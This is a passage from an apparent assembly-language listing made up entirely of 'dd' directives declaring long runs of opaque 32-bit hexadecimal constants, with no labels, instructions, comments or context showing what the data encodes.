59D772FCh, 0FF1A9B01h dd 0FAACA15Fh, 5B80B83Ch, 0EDFE7783h, 3AE26500h, 0AD26D635h dd 4075D3h, 7405F069h, 8C52EBA8h, 20A3EF00h, 0CB2E07D7h dd 0D2B5001Dh, 8A50ADAh, 4200A981h, 2C2D4F6Fh, 0F8D7149Ah dd 0F484981Bh, 64D00134h, 6AA924B2h, 4069F4h, 66A4597Eh dd 3B30342h, 16BD97BFh, 0ADD073CCh, 0A8075CCFh, 0BAC2A927h dd 9EBB6CC0h, 0B38E001Ch, 0FBC415E5h, 0FE3C9962h, 0AF3C7C90h dd 91650F41h, 0C78E1E2Fh, 241F475Ch, 8D2CBD90h, 3D8E85Fh dd 0FC269F2h, 17E09A6Fh, 6300E36Eh, 86DFC528h, 28D6C1Ch dd 93BCA7EBh, 0B480A4EFh, 9F9E0C59h, 6C55B40Ch, 33183Ah dd 0C7F11A18h, 4A7BE496h, 809A123Ch, 0A16A9565h, 0EC1F2Ch dd 7D5FBCA4h, 0F96817D8h, 33268A18h, 625CBF40h, 0BD8DD8B4h dd 0ABA70498h, 0B000DF90h, 627FC4D0h, 0C3918E19h, 0B68F33D8h dd 0B4436000h, 0EDD7B51Fh, 8E5C00A6h, 0FBC7713Bh, 8F67AD32h dd 0B6C08230h, 6D2FB3h, 5ACBDE94h, 0B52B3057h, 6A9A4202h dd 0A0609552h, 692A5D28h, 0BD18CA5Ch, 999818C0h, 4118AB42h dd 44108EF3h, 1CD42993h, 79E08060h, 33259DDDh, 24A89364h dd 7148025Eh, 90A35262h, 1C90E120h, 6AB0E7F1h, 48127A28h dd 6D28F70Ah, 0A4F7C18h dd 6C8C0842h, 1ACC796Fh, 0F156327Eh, 21438404h, 34E99D62h dd 0A7AD4080h, 49CEA165h, 0FD4248A2h, 25184816h, 4D49EF5Ch dd 8DD918B3h, 49413848h, 0C1DA6800h, 0B52FB0E6h, 5C5A309Ch dd 2D4E9081h, 80F11490h, 40442E31h, 1F0CA071h, 30A31729h dd 6A328D59h, 5B0F39C0h, 14DE33BEh, 0CC2F0A79h, 0A3280381h dd 38119F3Ah, 0B744DBC0h, 2A612DA2h, 3C841B1Eh, 1F0CC1E8h dd 0E31052BAh, 7F24320Ah, 0B000CC15h, 2A13D623h, 9D30C371h dd 3191527Bh, 9115F028h, 13DEB90Dh, 0DC03693Bh, 0B5C107BBh dd 0A15466C1h, 49B91156h, 8358B8A0h, 0EA13625Ch, 0EE10002Bh dd 8933F944h, 16FE6D2Ch, 0CA449h, 3E3AA559h, 0F1ABAC14h dd 50FD84C8h, 70D8431h, 15DEA4F9h, 57B54081h, 5100ABC8h dd 6255B01Ch, 0C5114CEAh, 78BF2E48h, 1C81CB40h, 874068A1h dd 87143FC1h, 406D850Dh, 9941D69Ch, 0F2240FABh, 6486640Eh dd 0FD39E41Eh, 7C055455h, 0BC082F06h, 37058614h, 0B52438CEh dd 518C4811h, 1221D02Bh, 40E0A16Dh, 0E212B780h, 0FA886501h dd 0A0CA049h, 87218402h, 74760848h, 0EFE58984h, 0F6514100h dd 0C49236B3h, 4C56100h, 0CC4431Dh, 386D016Bh, 2B549D1Fh dd 0FF6C3029h, 0DBE72F12h, 5BE48400h, 1311A15Ah, 546E1AC4h dd 0A413DCACh, 2DB44067h, 7E5B624Fh, 0E2F4158h, 8A025117h dd 0D380903Ah, 71B563A7h, 73B70132h, 8B1E91B4h, 775983BBh dd 0FA28A7DCh, 16C090EFh, 926B3CBEh, 228E412Ch, 20454CD8h dd 85BE4680h, 23002673h, 0EFA13D99h, 306AE494h, 0B7480478h dd 1B51C52Ah, 0C48AF188h, 0ECF9EE29h, 0BE225291h, 0CA8C14DEh dd 7502A0FDh, 0CD5C283Eh, 0A81B7441h, 0FD009921h, 1CC4E2B0h dd 26C9D71Ah, 4A6CA8A9h, 1EC51378h, 3B958004h, 566096FBh dd 0C00CAB6h, 93D3A5DDh, 67203F6h, 8BC40B9h, 71F28D80h dd 38BE7000h, 0B048EEDAh, 46EC00C1h, 0FE8B02E2h, 0AC07944Ch dd 0B2684B3Bh, 0C9EE6270h, 0DBC0048h, 0D05926DAh, 0A3001F8Dh dd 0ABF2E784h, 6F177Dh, 807E4E20h, 0C460591Dh, 0BD58E500h dd 0E351CFDFh, 4C643D11h, 7AA7D101h, 6076C153h, 3100CE53h dd 0B7039106h, 0FC10F2h, 56BC8901h, 0F1332FCFh, 15022C00h dd 0FA5A6AD0h, 135D0FC9h, 75822565h, 4B7BB94h, 6CCAD402h dd 72033625h, 4070BB5Bh, 0C315A05Ah, 13F64291h, 23032B5Dh dd 0A2F37529h, 0F81C86D1h, 0AEF00608h, 19E5BB54h, 18121C83h dd 9700C7B8h, 0C4CE4364h, 2499CDBCh, 12509409h, 67A81418h dd 41D284Ch, 0C95B28CCh, 1CBA50ECh, 6CC92AA9h, 9D733E90h dd 0A3745056h, 604AE510h, 4680851h, 0E6C05B45h, 0A2B3F928h dd 0F1640640h, 0A46FF209h, 4AD11B1Ch, 842A03Fh, 147B280Ch dd 48023C28h, 0A63B5440h, 504BF140h, 632AB300h, 0A891FA0Dh dd 0A4938102h, 20BAC013h, 0C467325h, 0A807EAF0h, 0BD76BBA7h dd 855CFC4Ah, 7D9CF504h, 10B06A54h, 0FE9F7F77h, 4C40CE80h dd 738CEE72h, 97063004h, 5823CB88h, 14AB3490h, 0A8925608h dd 478B07C9h, 6638EC1Fh, 511951C3h, 4201CA2h, 7A49702Eh dd 85FC05D0h, 84B2070Eh, 0C26A377h, 4D61019Fh, 10518A1Eh dd 7B108065h, 593147F8h, 330578E4h, 0D7692B57h, 1B8C91C0h dd 400B27Fh, 83081FF6h, 748EAB65h, 1FA57416h, 0C0736445h dd 4FBBF5EAh, 250979FEh, 23246DA3h, 0D3C62630h, 76080089h dd 73F11E45h, 0E9551210h, 40488C8Ch, 0E590864h, 46F0EF65h dd 6852C3BFh, 74EB0DE2h, 0B7A38BA8h, 8EF52500h, 2C985F7Ch dd 15E00E1h, 6E968977h, 4160D5DDh, 6A6AD79h, 23D8038Ch dd 5B306FCBh, 783E90Fh, 0E3BBEE02h, 7D7D0C0h, 4765F789h dd 43A383DCh, 9C40BAB2h, 0A70CF2E5h, 29D6D088h, 2AAB7ED9h dd 28C03EF8h, 0C84F6A5h, 667318Ah, 80004738h, 0A638D4F5h dd 3688A58Ch, 0E1419F65h, 2ED5B3Ah, 27C8077Fh, 54D04010h dd 525E0A6h, 0B10184CAh, 921EC0B8h, 21C7590Bh, 0A340D7FEh dd 0C0884B46h, 10C776A1h, 7704F11Fh, 72E61213h, 551EF880h dd 0A9FA2E91h, 984D1431h, 12EAEC2Ch, 0A838501Ch, 0CF0F10A6h dd 0F720279h, 0C138C485h, 2C1924D1h, 0DA8AC181h, 4B785542h dd 0CD2410B8h, 3843CC8h, 11FA06Ch, 13023B33h, 76DC4DDh dd 3EC3620Eh, 0A77F60D5h, 9099A071h, 0D0EB2020h, 0A8EDD702h dd 869CA627h, 1DD096A4h, 5EAEE7C9h, 2C434071h, 0A8AFF9F4h dd 62D54958h, 0C03B22C8h, 1176BE2h, 0C80545F0h, 240F4DCBh dd 2640FF50h, 30980DB9h, 0CAC85586h, 0F2DABC41h, 1B1DB808h dd 0E9F26120h, 0D07C0DECh, 0AD68076Bh, 6803D829h, 0A18654D1h dd 8C4A2187h, 7DCE2010h, 317AE610h, 7DC60C48h, 4A1F319Ah dd 8902B083h, 4EA5C865h, 0D4307D30h, 9C052C29h, 4EBEDBCEh dd 0F034C74Ch, 6660B52Ah, 29B4F118h, 0E85D6B01h, 0A8D5D791h dd 0FE957DCh, 3AE42254h, 0D440C4ECh, 1CAE2C88h, 89F1F562h dd 78119719h, 9E69918Bh, 62762C01h, 92C9A6FEh, 280D7F79h dd 58002131h, 0E99610CFh, 81589091h, 0ACDEF9F5h, 102E420h dd 9F9075E7h, 80B77627h, 0C41B9180h, 0F576CACh, 72F23A96h dd 832A3184h, 39B8738Ch, 0D31F78A7h, 9518F3C3h, 0C014D79h dd 0A960A83Ah, 7F28D671h, 9321B0B7h, 200B1EA2h, 8839FB6Ch dd 0D87C1852h, 0D19A3950h, 0B8755C00h, 0AE762688h, 7F550069h dd 2D4E70F3h, 92403E4h, 16110CEEh, 56B2EC0Fh, 40C8AC0Ah dd 59BAE424h, 0D3448098h, 7FED3D1Bh, 0C77D2D0Dh, 0BAB8EC81h dd 79EEB03Ch, 7871FF30h, 0F06AC72h, 0D0899131h, 0C887C13Ah dd 2310C0AFh, 98785DFEh, 831B040Fh, 0B267E0ECh, 9866F92Ch dd 98D55450h, 69A93DA6h, 7002A23Fh, 4FF04628h, 6F9FC60h dd 0D10B62F6h, 80557D9Bh, 8E83D4DCh, 59FA0077h, 0E54C0111h dd 6F007694h, 2A5E1082h, 0CE4E99h, 4749BEA5h, 0C5C0AEECh dd 2E00D9F0h, 0BC9B0DA7h, 170A201h, 342945F9h, 555D5E51h dd 5074568Ch, 0E8BE0444h, 0B683247Dh, 78520E70h, 198000D2h dd 0F427BB5h, 41D7EFEh, 3840B20Ch, 4F739835h, 29706422h dd 3E952159h, 113B5411h, 0BD125F10h, 88213310h, 2C892FB0h dd 218124CEh, 6C123BF3h, 8897D910h, 2C881DA5h, 418889C9h dd 11452B50h, 67116049h, 10A4122Ch, 0ED89589Ch, 0DE0B1441h dd 10208011h, 8078FCE9h, 0A08361F1h, 454164h, 547B35Fh dd 0D0ABC782h, 1F120C00h, 9596F8ADh, 0DE90030h, 0C335DD8Bh dd 0B1F0C0EEh, 0C56A3D1Eh, 6D19EAC0h, 0F379F51h, 62D1EFA5h dd 23B406B8h, 91F8877Fh, 56B69D07h, 58F18564h, 0CAFC0369h dd 0F809337Eh, 0A3802350h, 29002BB1h, 103D6C7Fh, 0FD9AEF0h dd 47E5C5E6h, 0B5805BEEh, 61857CC6h, 9F3B411Fh, 5700265Eh dd 0F918284Fh, 5CAB17C9h, 0BA1000Ch, 54316125h, 167E5F3Dh dd 7420126Bh, 0A01F05h, 15561ADBh, 0CB69F9DAh, 7E8AD103h dd 0C0D6A56Bh, 150C1A0h, 0CCB26A2Fh, 34FC89F7h, 0DF0CC070h dd 28510D16h, 0A762Fh, 0F6FBF81h, 4564761h, 0DAF0720Fh dd 97024050h, 0A1FDF6CDh, 9F70D308h, 5373C2Dh, 0B43DA380h dd 2AD417F2h, 1200C87Eh, 0D733350Fh, 75982C85h, 57C40096h dd 34414D27h, 39008E14h, 8726F235h, 629CD4h, 198AB469h dd 1695F8F4h, 6B8D2707h, 0FA71052Eh, 9FCC0776h, 0BDA10043h dd 907B63B0h, 0F438E245h, 71DC00B6h, 0BC77094Eh, 0D5641E28h dd 199C40F6h, 0EE630A2Ah dd 60C180Fh, 0F5B260AAh, 7A78965h, 0D7EBBA25h, 0B52940BEh dd 0E824EFE4h, 9400C4A0h, 41FF52EEh, 43B4004Ch, 33115C47h dd 5E006DBAh, 0F9FB1F0Bh, 1F4802D6h, 80A451E0h, 0FF698B36h dd 0C67EE691h, 9BE4C47Ah, 0A6CDDE1Eh, 69010280h, 399EF06h dd 7422364Fh, 60055A42h, 81C18BCFh, 61128600h, 79B63B8h dd 0FE475F99h, 196C0089h, 0FC7D0E08h, 4BFD2C14h, 3D5F0FD8h dd 4688C03Ch, 4AA23F89h, 0E941C2Bh, 0FA4098E7h, 570113C8h dd 403E239h, 0E633E8C5h, 10937C80h, 0B4AF00B5h, 668C9FC1h dd 0CB743D3Ah, 0A5638B00h, 89E674B7h, 8F5A0056h, 5EC28DC4h dd 31009CC8h, 933D0B09h, 0A632C5h, 42441B2Ah, 18AF1384h dd 0C6C7B000h, 0FF316D8Eh, 835A00B1h, 0B5E833ACh, 0E3004971h dd 32597ED6h, 2E57AF4h, 8E407068h, 0A180CE08h, 0C1CFA37Bh dd 2AE90B0Fh, 215580A9h, 3932DDC4h, 8080737Ah, 0D61BA736h dd 3300CC0Bh, 5219D991h, 16C588h, 7B2F09CDh, 3F98508Fh dd 0D21D3D00h, 1EB985C1h, 672E0081h, 715DCBDAh, 0D3E6A15Ah dd 97821C00h, 34BA249Ah, 2CD7A0CFh, 4B0E004Fh, 9FDECB91h dd 457DAF15h, 5ECC3407h, 0B470B36Ch, 0F2138F1h, 0C6A4C811h dd 0FACFCD60h, 4C001FA8h, 20F76844h, 1D82131h, 0D5BEEF4h dd 807850D2h, 6FDFE680h, 72A19D3Bh, 46D60062h, 0F0BA045Fh dd 1B00BB70h, 0BFEC1792h, 7C01AA74h, 4D2E00DDh, 0C76163F5h dd 400030DEh, 5ABEF61Eh, 1C54A0h, 914F8229h, 18AEE45Fh dd 0F28E10C0h, 0D2A950h, 0CCC321Dh, 0D66AECDEh, 2A087C00h dd 9B43DF77h, 0F3FC00D1h, 0CB3F76B6h, 7A00D617h, 0BDEC053Ch dd 60C4BCh, 0AFFB6D72h, 999FB1DBh, 74025414h, 6281009Eh dd 6B4F87A8h, 8D92482Ch, 0B5961300h, 0F0680A8Ah, 63D66F15h dd 81A908E4h, 963500CDh, 663762A4h, 0E96DAB01h, 91101DDh dd 16F0DCC5h, 0BAC700FDh, 31EE7DFEh, 0D7011F7Fh, 21B87390h dd 98CC3729h, 0D9726Ch, 2D2A555Ah, 0EA71D83Ch, 0B88F4000h dd 0FEA58A5Bh, 7F2904Eh, 0FDCE1D55h, 206520ACh, 0FB002722h dd 58BEBC97h, 4BE5BAh, 0A55F4D82h, 0EB71C3A6h, 0C2B0DF00h dd 5C3E8FCAh, 0BEFE003Ch, 0B326CCE8h, 4F1C13B4h, 0C4FF8E4h dd 0A2005324h, 0A5306A05h, 0CB3800C7h, 1D3F559Ah, 0FA39D315h dd 981F8152h, 67FE6DEFh, 0DC50D4h, 0CDD650Ah, 0AD7187B9h dd 0EFD29D24h, 9A5EA800h, 7A69732h, 250E9C7h, 0C6FAE09Fh dd 20017B3Bh, 459562FBh, 0E9D4011Fh, 88000EEh, 2969D60h dd 0F603C1D6h, 2B31EBFEh, 7754E0F9h, 1A72077Dh, 70910ED7h dd 685A181Dh, 12425F00h, 0E8329F31h, 0EFC100DAh, 0C91F6158h dd 0EEF0D57Bh, 0F6003DFCh, 6E849676h, 2C2FE183h, 15FD14Eh dd 0E2EDA41Bh, 2A14F417h, 8ADF440Eh, 9C1CE0B1h, 7A772A3h dd 94EB88A4h, 0AA8B9336h, 6F512A88h, 0C004170h, 1B60B70h dd 90E0BEh, 0ADDDD812h, 3EF19CC6h, 0C9DAAE00h, 523F7FB5h dd 71DEEC2Ah, 92372441h, 1FFD0007h, 0C18D798Eh, 434AC800h dd 0C94B6EE8h, 0D6E900A4h, 90420A8h, 27003664h, 0E4135C56h dd 0B1F769h, 0E30107EBh, 0DAB49A8Eh, 4B3BBF00h, 12739E2Ah dd 325800E2h, 0F8B9A886h, 0F100621Ch, 0E3EFC8FDh, 1CD2B94h dd 6BC7539Ch, 0D8859704h, 0DF00D588h, 0EF4A6909h, 0E889B986h dd 0C4B300FCh, 0F05E2456h, 3800ACC1h, 0BB43F727h, 5CD5F9h dd 58A50CDAh, 6EE51263h, 0C1FC8E00h, 453BB743h, 8D9A0762h dd 309C175Fh, 7DA5BBF5h, 599FC200h, 8994FAECh, 873600EBh dd 580FA20Ah, 7F0042B6h, 0FC21A1D7h, 34AB94h, 0F2FD2E07h dd 9A0E205Fh, 0A6AA3E00h, 0C2FC97D4h, 75BD0E63h, 0AFCFB436h dd 0C40E2819h, 0D70E0B1Fh, 0AFD267F9h, 0A11E4050h, 338D848h dd 74E0B0F4h, 90B887C6h, 0AF17DDABh, 0CB03E75Ah, 88837746h dd 3E2D9BEh, 3CED9BF9h, 5E9012A5h, 401E7E3h, 0A35FFC61h dd 0DC404BDBh, 270F5Ch, 1E082585h, 296998B2h, 0AA9AF100h dd 0F4542D56h, 0CB221C39h, 0B9ED4024h, 5D1BECD8h, 8158064Ch dd 4CB88C0Eh, 6008F0ECh, 54E328EBh, 0EF00B08Ah, 0A9D1C443h dd 768D018Bh, 234C0097h, 85FF9E0Bh, 9A00FE11h, 0D2443BC8h dd 48660694h, 0C5019BDDh, 0A72E7D3Fh, 0DB21F4CAh, 736D60Eh dd 828E0F5h, 1FFD9h, 0E0E5634Dh, 728FD4B1h, 7EAE660Bh dd 44C0032h, 48F6BDh, 10BB928Ah, 0AA8857A2h, 0DCF29D00h dd 80612869h, 0B2BA0799h, 0B0124072h, 6C92FEC1h, 6031FB0h dd 35054E8Bh, 66A18853h, 4C7C5899h, 0CEE6237Fh, 2B523200h dd 7B4E7A4Ch, 2E840025h, 0AC63C0B0h, 93008E58h, 3AEE3C6Ch dd 0D855A6h, 5E3FAACFh, 0E0B15AE5h, 4A10CD61h, 5DEC1033h dd 31D731Ah, 0DBE9423h, 0D5F86D63h, 0D41D8FE3h, 7E0062DEh dd 77C337EEh, 1BEA007Ah, 4263C882h, 193C1F15h, 8C452CE8h dd 0E0247EE0h, 23F80464h, 0C0C79B0Eh, 0DD1B02B7h, 65F0FBFCh dd 0B7E4BA00h, 113717F2h, 2A7C00EFh, 525C29F1h, 9F00BC9Bh dd 30F9E0C4h, 19972D3h, 842BD1B5h, 0C8224995h, 9C4C685Fh dd 0E58F0064h, 89C8BC46h, 28B800ADh, 0D008E3BEh, 0B1096993h dd 8E682E2Bh, 66824030h, 286010h, 3C74ED27h, 47B6B7C9h dd 17B46B00h, 0CCCB393Fh, 96270090h, 759AEC61h, 0CF03921Ch dd 6FEEA219h, 0E799E062h, 80F267C4h, 37261005h, 163BFCF1h dd 4F9E0041h, 0E6C72D14h, 3FF90046h, 0DD331947h, 0F1280576h dd 5A3CB85Bh, 85893CD2h, 0BDF25310h, 0AA1C5581h, 79EB470h dd 2CBEAC58h, 862201F8h, 3E82C4B2h, 6FD61D00h, 28158B04h dd 1001604Eh, 3AE3C285h, 71095F00h, 2F06C23h, 0A2E40286h dd 2A4E8A16h, 9C6DE7C0h, 0CDBA5A02h, 0C0B5CE05h, 1D2430h dd 1FA102EBh, 4C06B6B4h, 3CC4BA07h, 0EF514468h, 0BD601A47h dd 0DC951578h, 110790D3h, 807E42DEh, 0EF4697AFh, 8F3FEC02h dd 6072B6D7h, 7A4F50Ch, 3B08320Fh, 108370EBh, 0D04C3E18h dd 503F74h, 0EC02B3A9h, 1C02BC7h, 7186E235h, 0F0A01F1Bh dd 99001389h, 34807B14h, 4C22A7D6h, 6B01B31Ah, 0F910015Dh dd 3A2F70AFh, 0DF6E5A0Fh, 66D320ADh, 0FF61A7h, 0CC4D6A72h dd 529515B6h, 50D7E200h, 5BEAC51Ch, 839F008Eh, 0D2DDB3F0h dd 3C001656h, 0E72A1513h, 3E45E302h, 0AC93720Bh, 0B507BB64h dd 7908897h, 0EB1686Eh, 1E55DCC4h, 18CF8FBEh, 0DFC5880h dd 3B26E8B0h, 5F0F1BBBh, 0DA984035h, 0F228EDh, 67EC8B2Ah dd 0F456E622h, 0DA890A3h, 24BC7EA2h, 4E57B09h, 0FC90D82Ch dd 48BF4704h, 0B10024AEh, 0B52DF7FAh, 0C3F94BBBh, 533723A0h dd 45FBB300h, 0D131A994h, 526B04A5h, 0C7051601h, 0CAA4C0B0h dd 0ED000B7Fh, 0E0FF577Eh, 433DD1h, 9015BB75h, 0FE80BA48h dd 299C9F09h, 0E8AC00C2h, 7EC6DAF0h, 0F32B000Fh, 676E4B94h dd 2300A9BFh, 0CE982CE4h, 84CDABh, 45DC0BA4h, 0C4668C7Ch dd 87EAF900h, 908A3AFh, 4D8404EDh, 0C06F0D68h, 0AB95666Ch dd 0E3CFC883h, 0E62C989Dh, 523D0041h, 8B236FD1h, 80E68CE0h dd 0CDD7A300h, 981B2F78h, 96FE0027h, 64080441h, 5D1D164Ah dd 0EA808CA1h, 0BE9A0C2Fh, 0E1A40067h, 82186CDCh, 0A0069BCh dd 0B754BBADh, 3CB5653h, 0E8222059h, 0A5B8BA16h, 0FD00FEACh dd 57E52EA7h, 485E42B1h, 0E781730h, 52825162h, 0A87B45FDh dd 8040CCCDh, 2E00E6FCh, 72B58215h, 6370674h, 0D89211C8h dd 51EAD89Fh, 9EA12400h dd 905EA4B4h, 5AFB07EEh, 0A03A39ECh, 1496A2B2h, 0B7758401h dd 63D23774h, 105ED20h, 5A43DC9Eh, 87139791h, 173C041Eh dd 0ABA94F0h, 0A8402C6Dh, 0EE6E0B3Dh, 0A01D9101h, 0E8E3C115h dd 5A00638Dh, 41C5C7CEh, 0DFD7E6h, 304FC842h, 0A86D736Ch dd 889C1600h, 9E546712h, 82C4002Ah, 9229B97Fh, 1003EEBCh dd 3DCF882Ch, 5D6FE8A2h, 0F01A74BFh, 0B212001Dh, 662A6B7Fh dd 98024489h, 0CE93E750h, 49B381C5h, 2660BCE8h, 887F07A2h dd 0F76072F4h, 0E7B26373h, 75294BB0h, 0A828871Eh, 0DCFD5AC0h dd 0E3CAA1h, 0DD7FE11Ah, 4446C4BDh, 0CB819F04h, 6A805F63h dd 6B732Bh, 0E813115Ch, 620EF974h, 0FF8ECB24h, 0ED86DF00h dd 1F8BC2A6h, 0C0E0AFD4h, 749E3DE8h, 0D900A07Ah, 0B4986DC8h dd 882378h, 833E4124h, 262FA952h, 7A280E39h, 7D69C100h dd 8D6CC587h, 0DC6B092Bh, 4780BDF0h, 8C7B1002h, 5D03380Fh dd 859740ECh, 1C6DB605h, 0C0555A30h, 0E123B7A6h, 80C08F2Fh dd 0B8D8A4A3h, 96C83F53h, 216790h, 0C2053C8Dh, 3FD42h dd 1B06A5B9h, 18E8BC6Ah, 60A0D65Ch, 73E4DC62h, 9770A64h dd 80D8A3h, 0FC25B8C3h, 4D006649h, 0EF37D09Bh, 4BD719h dd 95F39F51h, 80CE3284h, 0FD01B58h, 6F73210Fh, 0D89E7B4h dd 19A101EBh, 8930A9D3h, 1EEC0060h, 7A94BEC0h, 400B942h dd 5C939AB7h, 13707Bh, 6ED44772h, 0A2F3C811h, 0F3A1343Ch dd 1CED7C07h, 0A690024Eh, 56955Bh, 3C26299Eh, 0BFB4C61Ah dd 0B99AE000h, 4064EC8Ch, 4542007Dh, 0A0671F30h, 0DD00A12Dh dd 72D21629h, 50E4A9h, 0B4C5D45Ah, 92666E64h, 0BABF8500h dd 37C447CAh, 88E274h, 0D88F919Dh, 13278B79h, 3B60E003h dd 90ED6CD4h, 266E2Bh, 0BFC41130h, 0D6E4120Bh, 0B798B600h dd 9B22B402h, 992A00E6h, 0AB787EA1h, 5F01FF56h, 35A2C7D4h dd 71E08ECCh, 493818BFh, 0C50E783Bh, 59B45701h, 0D0E8CF45h dd 7D1001EFh, 0DC4DC2FCh, 52DF2008h, 59E3A300h, 0EE03446Ch dd 0AFE40049h, 0FD89E2FAh, 0C9000446h, 42C40DCCh, 7E2E0F32h dd 30480025h, 5FE80690h, 8403F9A5h, 924BBC0h, 0D81DE3D9h dd 197E64h, 3F52AA88h, 0CB9D41DEh, 0B266507h, 1F2068C2h dd 0A0978BDDh, 7A4EB94h, 5E4D9E85h, 0CDED02Bh, 0BF03A263h dd 1609E544h, 0AA5DE8C4h, 10F900B9h, 7FC92F74h, 60037E4h dd 81A8C70Eh, 0D25FFEh, 32679065h, 5270C65Dh, 0F88FCE00h dd 98C51748h, 654230C1h, 0ABEA7520h, 113F93Eh, 761A8B94h dd 0CDD8D5C4h, 7CA7792h, 1BF8C7B9h, 301D21C9h, 0D1D860D6h dd 0F9FC5200h, 58BB2EEDh, 0AEF30F41h, 20804F05h, 0E9E6A425h dd 0B9500406h, 7E0A786h, 98BB0C36h, 132A806Eh, 90E02D6h dd 0C08650D4h, 14F59427h, 3B2F71D8h, 240EAFD2h, 36C0D72Ch dd 569EA5E4h, 4DA62705h, 6BC0BD35h, 6396EDh, 472AD8B4h dd 0FB4F548Dh, 9CD15C00h, 0F367CD77h, 14CE7210h, 0A8C914B8h dd 0D7592E00h, 0A1C1BE6Ah, 7DE0AD00h, 0D6FE21BAh, 30090756h dd 0F0740BAFh, 0AB902B28h, 0DB6B9700h, 0EAEC650Ch, 0FDF0DC45h dd 3BBC27A4h, 0BE8E2680h, 4DF985B8h, 0EF6F380Eh, 0FAFEE0DAh dd 2A5BCh, 94544CA4h, 0FF9CAA80h, 8A90E601h, 114D26B3h dd 9013F1F4h, 3D320058h, 0A480B51Bh, 0DC0027E5h, 1506F2BBh dd 4A7311h, 0E4055C84h, 0E2A9834Ch, 63DA9B00h, 0D455416h dd 1403009Fh, 414BF9B6h, 0A000ECFBh, 70BAD31Dh, 23884BDh dd 63B09FF0h, 0A660AEE8h, 0EDF40679h, 456E5300h, 0A5090561h dd 9C560790h, 84FB8DA6h, 0F56CC0C7h, 870E1849h, 40F136AAh dd 43D8ABEDh, 726BF232h, 345A0035h, 0D95D745Eh, 0D707BC4Dh dd 0D45C271Ch, 0C3CD4460h, 46BA007Ch, 0D4E3A42h, 653B40B3h dd 0F31CF807h, 2A8089CAh, 3E75CD8Fh, 0CED104B0h, 0FF61A8EEh dd 43BA2580h, 3F0600FEh, 0E1D077BCh, 7100AA49h, 5110A078h dd 7AD30818h, 0FC3E012Bh, 0DF88A868h, 3FB7E498h, 6CA4B301h dd 0F64A1B30h, 778C1E4h, 0A5CA370Bh, 274F6046h, 0EE0352FAh dd 47F6F28Dh, 32A18943h, 23FBECh, 0D0DC4FA2h, 46D2E269h dd 0F2018200h, 7461E33Dh, 0B694C0AAh, 8C1D984Eh, 0F740D800h dd 2228ABF1h, 2F660CE3h, 830E9A8h, 7962BE00h, 55FDCBB5h dd 7A5D00C5h, 33512004h, 2D001165h, 5BE6FB49h, 14F74D2h dd 7E47553Bh, 0DCF661D4h, 51E5670h, 0D2C0EB3Ch, 94E47591h dd 9A510043h, 333FFEEAh, 0BB03A356h, 0B4D7A1EDh, 6A09F95Eh dd 476ECh, 0DAC380C8h, 6175FB83h, 8371113Dh, 16544B09h dd 0EF88B032h, 176F00A9h, 0C339E929h, 0E80FD70Ah, 8A308EECh dd 5C008C71h, 0D3E2ED1Dh, 349E008Ch, 3F98B9B5h, 0C607C3F0h dd 1008B80Fh, 74AA46BEh, 918901B0h, 34A06D9Eh, 56808328h dd 0D8FC2AC6h, 4EACEDh, 0C2373105h, 5EF08E17h, 0F2C76900h dd 5930A455h, 0CD570B19h, 377BC77h, 0B8BDF937h, 0E2263Ah dd 0E302B298h, 96FDE71Ch, 3D4F951Eh, 0AF404C9Ch, 0B125FF97h dd 467682h, 0E6F21FB8h, 0A0B30E2Fh, 0EB07DAE6h, 7C0D3F58h dd 0F166CB1h, 81B4A980h, 0A476E3Ah, 0D6A5D41Fh, 6CB2B340h dd 7176F7B9h, 0F1F807DEh, 9730DB66h, 8315407Ah, 2F00FCFFh dd 0D419A732h, 0C5569DFh, 312BC93Fh, 0FF7FDB60h, 50ED402Fh dd 27F700EAh, 0D7D4C8CFh, 3C003B0Eh, 6E956123h, 7E2DE4E7h dd 0BA300135h, 56042C73h, 0CDC08065h, 99C4B33Ch, 0D0CE804Fh dd 40665A40h, 0E500286Bh, 162FB2Ch, 77E9BF1h, 46DDD921h dd 0C943418Bh, 2AD16054h, 24727500h, 6B4F227Fh, 0ADC700C1h dd 0F123396Dh, 7B04D305h, 371D01B8h, 0E0F8C481h, 4AFBA8CBh dd 8ED11D99h, 2F6B4074h, 0FC802A11h, 941AB800h, 0B09D00Dh dd 0B97F0022h, 0EBE959FBh, 0A8035C5Fh, 62820831h, 0F350C9E0h dd 4D6DD940h, 0EDA51844h, 0F795C824h, 802CB93Dh, 968AC51h dd 3B4E0FF5h, 0D181E97Ch, 72BFCDD4h, 0D938E470h, 2F174200h dd 86F51359h, 30B40352h, 0F675B5E7h, 2B9479F8h, 22812809h dd 0A70C8078h, 0A5E6DFh, 0FE73B96Dh, 0FA9CFDE4h, 287AFC90h dd 5B847809h, 0A84B80F0h, 0F6C2D9h, 0A69D143Dh, 36D7BA6Fh dd 4E7E7D00h, 7BE25A70h, 0A4514805h, 0DF845D00h, 0D866AF54h dd 7ECE0700h, 7217FB50h, 8A040F25h, 82875B3Ah, 0C3DD713Eh dd 7003E930h, 8100A796h, 33493C4Bh, 2293B6Fh, 60DF89DAh dd 8C806803h, 0F9314532h, 4C8FDE00h, 0CB6F409Bh, 67B700FAh dd 22CA5F90h, 4A00B31Bh, 815D7987h, 0F6124966h, 3D9F1F5Eh dd 0E76A4037h, 0BBFD7740h, 0EB795500h, 0B357FF0Bh, 1DBF0262h dd 2C93DE99h, 18545760h, 319D60Fh, 0FB0A2005h, 1DF2C4B2h dd 0FC4E5140h, 96614C00h, 6C1B2DFFh, 86563600h, 0A694ABBEh dd 2C9D1853h, 0A2E2B86Fh, 1752FC03h, 0EFFBB5h, 0B6D30EF8h dd 0BC92DCA8h, 0A11D0200h, 0D4C727CCh, 87F10397h, 0B7826463h dd 57E0488h, 6DCA1B18h, 8BA55C50h, 0B302ECF8h, 76B4C05h dd 0A0041910h, 0C4C07679h, 0E32D89h, 87AAF720h, 162B0CCAh dd 2842F03h, 9047BB36h, 28AE190h, 2C32D19Dh, 0A881F86Ch dd 0D1A3790Ch, 7A48808Dh, 7DFB8AC3h, 26A213B0h, 0CEC00F3h dd 6F548036h, 0F8BCF55Ah, 0F6711703h, 9798FF04h, 1300734Eh dd 45D01C61h, 0DF0BECh, 5B75E412h, 0C906A292h, 8FE61400h dd 9E7F748Bh, 0CD240097h, 30E21DD6h, 5260B222h, 8EE2CF0h dd 0D40C4814h, 6F81643Ah dd 9A5B1393h, 18832BCh, 0E3048FDCh, 8AD4DBEEh, 0C789089h dd 5BAA39FAh, 0F005CAA0h, 1524C7A4h, 0FC6D2090h, 0A8C80065h dd 61FF4C4Ah, 0A71D282Fh, 5280F172h, 0C4388D07h, 86E2A180h dd 0CA2F70h, 